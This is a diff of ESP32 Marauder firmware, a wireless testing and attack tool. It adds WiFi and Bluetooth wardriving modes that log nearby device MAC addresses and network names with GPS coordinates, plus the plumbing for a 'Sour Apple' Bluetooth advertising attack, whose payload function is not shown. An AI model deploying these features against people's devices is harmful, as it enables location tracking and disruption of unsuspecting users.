pAdvertising = pServer->getAdvertising();
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.print_delay_1 = 15;
|
||||
display_obj.print_delay_2 = 10;
|
||||
display_obj.initScrollValues(true);
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
display_obj.tft.drawCentreString("Sour Apple",120,16,2);
|
||||
display_obj.touchToExit();
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
#endif
|
||||
|
||||
this->ble_initialized;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Function to start running any BLE scan
|
||||
void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||
{
|
||||
@@ -1444,8 +1790,10 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.print_delay_2 = 20;
|
||||
#endif
|
||||
|
||||
NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
|
||||
NimBLEDevice::setScanDuplicateCacheSize(200);
|
||||
if (scan_mode != BT_SCAN_WAR_DRIVE_CONT) {
|
||||
NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
|
||||
NimBLEDevice::setScanDuplicateCacheSize(200);
|
||||
}
|
||||
NimBLEDevice::init("");
|
||||
pBLEScan = NimBLEDevice::getScan(); //create new scan
|
||||
if (scan_mode == BT_SCAN_ALL)
|
||||
@@ -1466,6 +1814,45 @@ void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
|
||||
}
|
||||
else if ((scan_mode == BT_SCAN_WAR_DRIVE) || (scan_mode == BT_SCAN_WAR_DRIVE_CONT)) {
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.open();
|
||||
#elif defined(HAS_SD)
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
if (scan_mode == BT_SCAN_WAR_DRIVE)
|
||||
sd_obj.openLog("bt_wardrive");
|
||||
else if (scan_mode == BT_SCAN_WAR_DRIVE_CONT)
|
||||
sd_obj.openLog("bt_wardrive_cont");
|
||||
String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
|
||||
evil_portal_obj.addLog(header_line, header_line.length());
|
||||
}
|
||||
#endif
|
||||
#else
|
||||
return;
|
||||
#endif
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
display_obj.initScrollValues(true);
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
#ifdef HAS_ILI9341
|
||||
display_obj.tft.fillRect(0,16,240,16, color);
|
||||
if (scan_mode == BT_SCAN_WAR_DRIVE)
|
||||
display_obj.tft.drawCentreString("BT Wardrive",120,16,2);
|
||||
else if (scan_mode == BT_SCAN_WAR_DRIVE_CONT)
|
||||
display_obj.tft.drawCentreString("BT Wardrive Continuous",120,16,2);
|
||||
display_obj.touchToExit();
|
||||
#endif
|
||||
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
|
||||
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||
#endif
|
||||
if (scan_mode != BT_SCAN_WAR_DRIVE_CONT)
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
|
||||
else
|
||||
pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), true);
|
||||
}
|
||||
else if (scan_mode == BT_SCAN_SKIMMERS)
|
||||
{
|
||||
#ifdef HAS_SCREEN
|
||||
@@ -1900,12 +2287,18 @@ void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type
|
||||
{
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
|
||||
#ifdef HAS_GPS
|
||||
extern GpsInterface gps_obj;
|
||||
extern EvilPortal evil_portal_obj;
|
||||
#endif
|
||||
|
||||
wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
|
||||
WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
|
||||
wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
|
||||
int len = snifferPacket->rx_ctrl.sig_len;
|
||||
|
||||
String display_string = "";
|
||||
String essid = "";
|
||||
|
||||
if (type == WIFI_PKT_MGMT)
|
||||
{
|
||||
@@ -1916,11 +2309,12 @@ void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type
|
||||
|
||||
// If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
|
||||
#ifdef HAS_SCREEN
|
||||
int buf = display_obj.display_buffer->size();
|
||||
int buff = display_obj.display_buffer->size();
|
||||
#else
|
||||
int buf = 0;
|
||||
int buff = 0;
|
||||
#endif
|
||||
if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
|
||||
// It is a beacon
|
||||
if ((snifferPacket->payload[0] == 0x80) && (buff == 0))
|
||||
{
|
||||
// Do signal strength stuff first
|
||||
if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
|
||||
@@ -1965,7 +2359,7 @@ void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) {
|
||||
delay(random(0, 10));
|
||||
Serial.print("RSSI: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.rssi);
|
||||
@@ -2006,6 +2400,84 @@ void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type
|
||||
|
||||
addPacket(snifferPacket, len);
|
||||
}
|
||||
else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
bool do_save = false;
|
||||
|
||||
// Check if we've already seen this AP
|
||||
char addr[] = "00:00:00:00:00:00";
|
||||
getMAC(addr, snifferPacket->payload, 10);
|
||||
if (wifi_scan_obj.seen_mac(reinterpret_cast<unsigned char*>(addr)))
|
||||
return;
|
||||
|
||||
Serial.print("RSSI: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.rssi);
|
||||
Serial.print(" Ch: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.channel);
|
||||
|
||||
if (snifferPacket->payload[37] > 0) {
|
||||
Serial.print(" ESSID: ");
|
||||
for (int i = 0; i < snifferPacket->payload[37]; i++)
|
||||
{
|
||||
Serial.print((char)snifferPacket->payload[i + 38]);
|
||||
display_string.concat((char)snifferPacket->payload[i + 38]);
|
||||
essid.concat((char)snifferPacket->payload[i + 38]);
|
||||
}
|
||||
}
|
||||
else {
|
||||
Serial.print(" BSSID: ");
|
||||
Serial.print(addr);
|
||||
display_string.concat(addr);
|
||||
}
|
||||
|
||||
if (gps_obj.getFixStatus()) {
|
||||
do_save = true;
|
||||
display_string.concat(" | Lt: " + gps_obj.getLat());
|
||||
display_string.concat(" | Ln: " + gps_obj.getLon());
|
||||
}
|
||||
else
|
||||
display_string.concat(" | GPS: No Fix");
|
||||
|
||||
int temp_len = display_string.length();
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
for (int i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
Serial.print(" ");
|
||||
|
||||
if (display_obj.display_buffer->size() == 0)
|
||||
{
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
}
|
||||
#endif
|
||||
|
||||
Serial.println();
|
||||
|
||||
wifi_scan_obj.save_mac(reinterpret_cast<unsigned char*>(addr));
|
||||
|
||||
int n = WiFi.scanNetworks(false, true, false, 110, wifi_scan_obj.set_channel);
|
||||
|
||||
if (do_save) {
|
||||
if (n > 0) {
|
||||
for (int i = 0; i < n; i++) {
|
||||
Serial.printf("%-32.32s", WiFi.SSID(i).c_str());
|
||||
Serial.print(" -> ");
|
||||
Serial.println(wifi_scan_obj.security_int_to_string(WiFi.encryptionType(i)).c_str());
|
||||
}
|
||||
}
|
||||
String wardrive_line = (String)addr + "," + essid + "," + wifi_scan_obj.security_int_to_string(snifferPacket->rx_ctrl.channel) + "," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI";
|
||||
Serial.println(wardrive_line);
|
||||
//evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2336,6 +2808,9 @@ void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type
|
||||
}
|
||||
|
||||
void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
|
||||
wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
|
||||
WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
|
||||
wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
|
||||
@@ -2352,53 +2827,113 @@ void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
|
||||
|
||||
|
||||
// If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
|
||||
#ifdef HAS_SCREEN
|
||||
int buf = display_obj.display_buffer->size();
|
||||
#else
|
||||
int buf = 0;
|
||||
#endif
|
||||
//#ifdef HAS_SCREEN
|
||||
// int buf = display_obj.display_buffer->size();
|
||||
//#else
|
||||
int buf = 0;
|
||||
//#endif
|
||||
if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
|
||||
{
|
||||
delay(random(0, 10));
|
||||
Serial.print("RSSI: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.rssi);
|
||||
Serial.print(" Ch: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.channel);
|
||||
Serial.print(" Client: ");
|
||||
char addr[] = "00:00:00:00:00:00";
|
||||
getMAC(addr, snifferPacket->payload, 10);
|
||||
Serial.print(addr);
|
||||
display_string.concat(addr);
|
||||
Serial.print(" Requesting: ");
|
||||
display_string.concat(" -> ");
|
||||
for (int i = 0; i < snifferPacket->payload[25]; i++)
|
||||
{
|
||||
Serial.print((char)snifferPacket->payload[26 + i]);
|
||||
display_string.concat((char)snifferPacket->payload[26 + i]);
|
||||
if (wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) {
|
||||
delay(random(0, 10));
|
||||
Serial.print("RSSI: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.rssi);
|
||||
Serial.print(" Ch: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.channel);
|
||||
Serial.print(" Client: ");
|
||||
char addr[] = "00:00:00:00:00:00";
|
||||
getMAC(addr, snifferPacket->payload, 10);
|
||||
Serial.print(addr);
|
||||
display_string.concat(addr);
|
||||
Serial.print(" Requesting: ");
|
||||
display_string.concat(" -> ");
|
||||
for (int i = 0; i < snifferPacket->payload[25]; i++)
|
||||
{
|
||||
Serial.print((char)snifferPacket->payload[26 + i]);
|
||||
display_string.concat((char)snifferPacket->payload[26 + i]);
|
||||
}
|
||||
|
||||
// Print spaces because of the rotating lines of the hardware scroll.
|
||||
// The same characters print from previous lines so I just overwrite them
|
||||
// with spaces.
|
||||
#ifdef HAS_SCREEN
|
||||
for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
if (display_obj.display_buffer->size() == 0)
|
||||
{
|
||||
//while (display_obj.printing)
|
||||
// delay(1);
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
}
|
||||
#endif
|
||||
|
||||
Serial.println();
|
||||
|
||||
addPacket(snifferPacket, len);
|
||||
}
|
||||
else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) {
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus()) {
|
||||
bool do_save = false;
|
||||
|
||||
// Print spaces because of the rotating lines of the hardware scroll.
|
||||
// The same characters print from previous lines so I just overwrite them
|
||||
// with spaces.
|
||||
#ifdef HAS_SCREEN
|
||||
for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
// Check if we've already seen this AP
|
||||
char addr[] = "00:00:00:00:00:00";
|
||||
getMAC(addr, snifferPacket->payload, 10);
|
||||
if (wifi_scan_obj.seen_mac(reinterpret_cast<unsigned char*>(addr)))
|
||||
return;
|
||||
|
||||
if (display_obj.display_buffer->size() == 0)
|
||||
{
|
||||
//while (display_obj.printing)
|
||||
// delay(1);
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
}
|
||||
#endif
|
||||
Serial.print("RSSI: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.rssi);
|
||||
Serial.print(" Ch: ");
|
||||
Serial.print(snifferPacket->rx_ctrl.channel);
|
||||
|
||||
Serial.println();
|
||||
Serial.print(" BSSID: ");
|
||||
Serial.print(addr);
|
||||
display_string.concat(addr);
|
||||
|
||||
addPacket(snifferPacket, len);
|
||||
if (gps_obj.getFixStatus()) {
|
||||
do_save = true;
|
||||
display_string.concat(" | Lt: " + gps_obj.getLat());
|
||||
display_string.concat(" | Ln: " + gps_obj.getLon());
|
||||
}
|
||||
else
|
||||
display_string.concat(" | GPS: No Fix");
|
||||
|
||||
int temp_len = display_string.length();
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
for (int i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
|
||||
Serial.print(" ");
|
||||
|
||||
if (display_obj.display_buffer->size() == 0)
|
||||
{
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
}
|
||||
#endif
|
||||
|
||||
Serial.println();
|
||||
|
||||
//wifi_scan_obj.save_mac(reinterpret_cast<unsigned char*>(addr));
|
||||
|
||||
if (do_save) {
|
||||
String wardrive_line = (String)addr + "," + (String)addr + ",," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI";
|
||||
Serial.println(wardrive_line);
|
||||
evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -3562,6 +4097,7 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||
(currentScanMode == WIFI_SCAN_PWN) ||
|
||||
(currentScanMode == WIFI_SCAN_DEAUTH) ||
|
||||
(currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
|
||||
(currentScanMode == WIFI_SCAN_ALL))
|
||||
{
|
||||
if (currentTime - initTime >= this->channel_hop_delay * 1000)
|
||||
@@ -3570,6 +4106,35 @@ void WiFiScan::main(uint32_t currentTime)
|
||||
channelHop();
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == BT_ATTACK_SOUR_APPLE) {
|
||||
#ifdef HAS_BT
|
||||
if (currentTime - initTime >= 1000) {
|
||||
initTime = millis();
|
||||
String displayString = "";
|
||||
String displayString2 = "";
|
||||
displayString.concat("Advertising Data...");
|
||||
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
|
||||
displayString2.concat(" ");
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||
display_obj.showCenterText(displayString2, 160);
|
||||
display_obj.showCenterText(displayString, 160);
|
||||
#endif
|
||||
}
|
||||
|
||||
this->executeSourApple();
|
||||
#endif
|
||||
}
|
||||
else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) {
|
||||
if (currentTime - initTime >= this->channel_hop_delay * 1000)
|
||||
{
|
||||
initTime = millis();
|
||||
#ifdef HAS_GPS
|
||||
if (gps_obj.getGpsModuleStatus())
|
||||
this->executeWarDrive();
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if (currentScanMode == WIFI_SCAN_GPS_DATA) {
|
||||
if (currentTime - initTime >= 5000) {
|
||||
this->initTime = millis();
|
||||
|
||||
@@ -77,6 +77,11 @@
|
||||
#define WIFI_SCAN_SIG_STREN 29
|
||||
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||
#define WIFI_SCAN_GPS_DATA 31
|
||||
#define WIFI_SCAN_WAR_DRIVE 32
|
||||
#define WIFI_SCAN_STATION_WAR_DRIVE 33
|
||||
#define BT_SCAN_WAR_DRIVE 34
|
||||
#define BT_SCAN_WAR_DRIVE_CONT 35
|
||||
#define BT_ATTACK_SOUR_APPLE 36
|
||||
|
||||
#define GRAPH_REFRESH 100
|
||||
|
||||
@@ -125,7 +130,6 @@ esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, b
|
||||
LinkedList<int>* stations;
|
||||
};*/
|
||||
|
||||
#define mac_history_len 86
|
||||
|
||||
struct mac_addr {
|
||||
unsigned char bytes[6];
|
||||
@@ -143,6 +147,7 @@ class WiFiScan
|
||||
struct mac_addr mac_history[mac_history_len];
|
||||
|
||||
// Settings
|
||||
uint mac_history_cursor = 0;
|
||||
uint8_t channel_hop_delay = 1;
|
||||
bool force_pmkid = false;
|
||||
bool force_probe = false;
|
||||
@@ -240,6 +245,14 @@ class WiFiScan
|
||||
0xf0, 0xff, 0x02, 0x00
|
||||
};
|
||||
|
||||
bool seen_mac(unsigned char* mac);
|
||||
bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
|
||||
void save_mac(unsigned char* mac);
|
||||
void clearMacHistory();
|
||||
void executeWarDrive();
|
||||
void executeSourApple();
|
||||
void startWardriverWiFi();
|
||||
|
||||
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
|
||||
|
||||
void packetMonitorMain(uint32_t currentTime);
|
||||
@@ -270,6 +283,7 @@ class WiFiScan
|
||||
void RunProbeScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
|
||||
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
|
||||
void RunSourApple(uint8_t scan_mode, uint16_t color);
|
||||
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
||||
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
|
||||
bool checkMem();
|
||||
@@ -304,6 +318,7 @@ class WiFiScan
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
wifi_config_t ap_config;
|
||||
|
||||
String security_int_to_string(int security_type);
|
||||
char* stringToChar(String string);
|
||||
void RunSetup();
|
||||
int clearSSIDs();
|
||||
|
||||
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin
Normal file
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin
Normal file
Binary file not shown.
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.elf
Normal file
BIN
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.elf
Normal file
Binary file not shown.
161848
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.map
Normal file
161848
esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.map
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin
Normal file
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin
Normal file
Binary file not shown.
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.elf
Normal file
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.elf
Normal file
Binary file not shown.
120502
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.map
Normal file
120502
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.map
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
@@ -13,6 +13,7 @@
|
||||
//#define MARAUDER_MINI
|
||||
//#define MARAUDER_V4
|
||||
//#define MARAUDER_V6
|
||||
//#define MARAUDER_V6_1
|
||||
//#define MARAUDER_KIT
|
||||
//#define GENERIC_ESP32
|
||||
#define MARAUDER_FLIPPER
|
||||
@@ -21,7 +22,7 @@
|
||||
//#define XIAO_ESP32_S3
|
||||
//// END BOARD TARGETS
|
||||
|
||||
#define MARAUDER_VERSION "v0.11.1"
|
||||
#define MARAUDER_VERSION "v0.13.1"
|
||||
|
||||
//// BOARD FEATURES
|
||||
#ifdef MARAUDER_M5STICKC
|
||||
@@ -48,7 +49,7 @@
|
||||
#define HAS_SD
|
||||
#define USE_SD
|
||||
#define HAS_TEMP_SENSOR
|
||||
//#define HAS_GPS
|
||||
#define HAS_GPS
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_V4
|
||||
@@ -65,7 +66,7 @@
|
||||
#define HAS_GPS
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_V6
|
||||
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
//#define FLIPPER_ZERO_HAT
|
||||
#define HAS_BATTERY
|
||||
#define HAS_BT
|
||||
@@ -253,7 +254,7 @@
|
||||
//#define MENU_FONT &FreeMonoBold9pt7b
|
||||
//#define MENU_FONT &FreeSans9pt7b
|
||||
//#define MENU_FONT &FreeSansBold9pt7b
|
||||
#define BUTTON_ARRAY_LEN 11
|
||||
#define BUTTON_ARRAY_LEN 12
|
||||
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
|
||||
#define LVGL_TICK_PERIOD 6
|
||||
|
||||
@@ -308,7 +309,7 @@
|
||||
//#define MENU_FONT &FreeMonoBold9pt7b
|
||||
//#define MENU_FONT &FreeSans9pt7b
|
||||
//#define MENU_FONT &FreeSansBold9pt7b
|
||||
#define BUTTON_ARRAY_LEN 11
|
||||
#define BUTTON_ARRAY_LEN 12
|
||||
#define STATUS_BAR_WIDTH 16
|
||||
#define LVGL_TICK_PERIOD 6
|
||||
|
||||
@@ -334,7 +335,7 @@
|
||||
#define KIT_LED_BUILTIN 13
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_V6
|
||||
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
#define SCREEN_CHAR_WIDTH 40
|
||||
#define HAS_ILI9341
|
||||
|
||||
@@ -365,7 +366,7 @@
|
||||
//#define MENU_FONT &FreeMonoBold9pt7b
|
||||
//#define MENU_FONT &FreeSans9pt7b
|
||||
//#define MENU_FONT &FreeSansBold9pt7b
|
||||
#define BUTTON_ARRAY_LEN 11
|
||||
#define BUTTON_ARRAY_LEN 12
|
||||
#define STATUS_BAR_WIDTH 16
|
||||
#define LVGL_TICK_PERIOD 6
|
||||
|
||||
@@ -423,7 +424,7 @@
|
||||
//#define MENU_FONT &FreeMonoBold9pt7b
|
||||
//#define MENU_FONT &FreeSans9pt7b
|
||||
//#define MENU_FONT &FreeSansBold9pt7b
|
||||
#define BUTTON_ARRAY_LEN 11
|
||||
#define BUTTON_ARRAY_LEN 12
|
||||
#define STATUS_BAR_WIDTH 16
|
||||
#define LVGL_TICK_PERIOD 6
|
||||
|
||||
@@ -491,7 +492,7 @@
|
||||
//#define MENU_FONT &FreeMonoBold9pt7b
|
||||
//#define MENU_FONT &FreeSans9pt7b
|
||||
//#define MENU_FONT &FreeSansBold9pt7b
|
||||
#define BUTTON_ARRAY_LEN 11
|
||||
#define BUTTON_ARRAY_LEN 12
|
||||
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
|
||||
#define LVGL_TICK_PERIOD 6
|
||||
|
||||
@@ -538,7 +539,7 @@
|
||||
//#define BUTTON_ARRAY_LEN 5
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_V6
|
||||
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
#define BANNER_TIME 100
|
||||
|
||||
#define COMMAND_PREFIX "!"
|
||||
@@ -630,6 +631,10 @@
|
||||
#define SD_CS 12
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_V6_1
|
||||
#define SD_CS 14
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_KIT
|
||||
#define SD_CS 12
|
||||
#endif
|
||||
@@ -639,7 +644,7 @@
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_M5STICKC
|
||||
#define SD_CS 10
|
||||
#define SD_CS -1
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_FLIPPER
|
||||
@@ -695,7 +700,7 @@
|
||||
#define MEM_LOWER_LIM 20000
|
||||
#elif defined(MARAUDER_V4)
|
||||
#define MEM_LOWER_LIM 20000
|
||||
#elif defined(MARAUDER_V6)
|
||||
#elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
#define MEM_LOWER_LIM 20000
|
||||
#elif defined(MARAUDER_KIT)
|
||||
#define MEM_LOWER_LIM 20000
|
||||
@@ -742,7 +747,7 @@
|
||||
#define MAX_HTML_SIZE 11400
|
||||
#elif defined(MARAUDER_V4)
|
||||
#define MAX_HTML_SIZE 11400
|
||||
#elif defined(MARAUDER_V6)
|
||||
#elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
#define MAX_HTML_SIZE 11400
|
||||
#elif defined(MARAUDER_KIT)
|
||||
#define MAX_HTML_SIZE 11400
|
||||
@@ -763,34 +768,50 @@
|
||||
|
||||
//// GPS STUFF
|
||||
#ifdef HAS_GPS
|
||||
#ifdef MARAUDER_V6
|
||||
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
#define GPS_SERIAL_INDEX 2
|
||||
#define GPS_TX 4
|
||||
#define GPS_RX 13
|
||||
#define mac_history_len 512
|
||||
#elif defined(MARAUDER_V4)
|
||||
#define GPS_SERIAL_INDEX 2
|
||||
#define GPS_TX 4
|
||||
#define GPS_RX 13
|
||||
#define mac_history_len 512
|
||||
#elif defined(MARAUDER_KIT)
|
||||
#define GPS_SERIAL_INDEX 2
|
||||
#define GPS_TX 4
|
||||
#define GPS_RX 13
|
||||
#define mac_history_len 512
|
||||
#elif defined(MARAUDER_DEV_BOARD_PRO)
|
||||
#define GPS_SERIAL_INDEX 2
|
||||
#define GPS_TX 21
|
||||
#define GPS_RX 17
|
||||
#define mac_history_len 512
|
||||
#elif defined(MARAUDER_MINI)
|
||||
#define GPS_SERIAL_INDEX 2
|
||||
#define GPS_TX 21
|
||||
#define GPS_RX 22
|
||||
#define mac_history_len 512
|
||||
#elif defined(MARAUDER_FLIPPER)
|
||||
#define GPS_SERIAL_INDEX 1
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
#define GPS_SOFTWARE_SERIAL
|
||||
#else
|
||||
#define GPS_SERIAL_INDEX 1
|
||||
#endif
|
||||
#define GPS_TX 9
|
||||
#define GPS_RX 21
|
||||
#define mac_history_len 512
|
||||
#endif
|
||||
#else
|
||||
#define mac_history_len 512
|
||||
#endif
|
||||
//// END GPS STUFF
|
||||
|
||||
//// MARAUDER TITLE STUFF
|
||||
#ifdef MARAUDER_V4
|
||||
#define MARAUDER_TITLE_BYTES 13578
|
||||
#elif defined(MARAUDER_V6)
|
||||
#elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||
#define MARAUDER_TITLE_BYTES 13578
|
||||
#elif defined(MARAUDER_KIT)
|
||||
#define MARAUDER_TITLE_BYTES 13578
|
||||
|
||||
Reference in New Issue
Block a user